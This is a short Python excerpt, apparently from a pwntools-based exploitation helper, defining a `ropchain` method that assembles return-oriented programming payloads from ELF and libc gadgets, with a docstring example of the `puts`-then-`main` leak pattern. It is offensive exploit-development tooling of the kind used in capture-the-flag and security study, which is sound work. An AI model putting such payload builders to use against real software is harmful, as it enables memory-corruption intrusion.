273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
def ropchain(self, chain: dict, ret: bool = True) -> bytes:
    """Construct a compiled ROP chain given target calls and setup states.

    Args:
        chain (dict): Function labels or addresses mapped to parameter list configurations.
        ret (bool): Insert stack aligning `ret` instructions when building chains.

    Returns:
        bytes: The assembled payload sequence.

    Example:

        >>> ropchain({"puts": [0x404000], "main": []})
        b'\\xaa\\xbb...'
    """
    elfs = []
    if self.elf and (not self.elf.pie or self.elf.address):
        elfs.append(self.elf)

    if self.libc and (not self.libc.aslr or self.libc.address):
        elfs.append(self.libc)

    rop = ROP(elfs)
    if elfs and ret:
        rop.raw(rop.ret.address)

    for func, params in chain.items():
        if isinstance(func, str) and "+" in func:
            f, off = func.split("+")
            func = self.resolve(f) + int(off)

        if not isinstance(params, dict):
            rop.call(func, params)
            continue

        for value, gadget in rop.setRegisters(params):
            if isinstance(gadget, Gadget):
                rop.raw(gadget)
            else:
                rop.raw(value)

        rop.call(func)

    rop.raw(rop.ret.address)
    log.info(f"ROP :\n{rop.dump()}")
    return rop.chain()